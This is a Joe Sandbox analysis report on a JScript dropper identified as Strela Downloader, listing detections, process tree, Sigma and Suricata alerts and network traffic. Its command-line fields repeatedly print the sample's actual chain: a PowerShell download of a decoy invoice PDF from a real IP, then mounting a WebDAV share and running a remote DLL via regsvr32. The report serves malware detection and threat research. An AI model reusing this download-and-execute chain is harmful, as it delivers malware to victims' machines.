Edit tour

Windows Analysis Report
382215884163542302.js

Overview

General Information

Sample name:	382215884163542302.js
Analysis ID:	1587552
MD5:	de0a6e5c09d2178f0ecf3c567783d186
SHA1:	11f7ae9e15bfc04a88b674a66bc6ce4d76356d2d
SHA256:	4479cb19486f57e428a44e8916c75ef335f2c5bcea8029cdb0b083fc892bce50
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7640 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\382215884163542302.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7732 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7740 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7784 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7972 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 1216 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 6032 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1648,i,18371386719857637492,4132492264295828402,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 8008 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 8068 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7352 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7640	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7732, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7784, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7732, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7784, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\382215884163542302.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\382215884163542302.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\382215884163542302.js", ProcessId: 7640, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 8068, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49706

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\382215884163542302.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7640, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, ProcessId: 7732, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\382215884163542302.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7640, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, ProcessId: 7732, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\382215884163542302.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7640, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, ProcessId: 7732, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\382215884163542302.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7640, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, ProcessId: 7732, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\382215884163542302.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7640, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, ProcessId: 7732, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\382215884163542302.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\382215884163542302.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\382215884163542302.js", ProcessId: 7640, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7732, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7784, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8008, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8068, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7352, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8008, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8068, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\382215884163542302.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7640, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, ProcessId: 7732, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T14:48:13.215705+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49706	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T14:48:10.470653+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49705	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 382215884163542302.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 382215884163542302.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49706 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 13:48:10 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49706

Source: global traffic

TCP traffic: 192.168.2.8:49706 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49705 -> 193.143.1.205:80

Source: global traffic

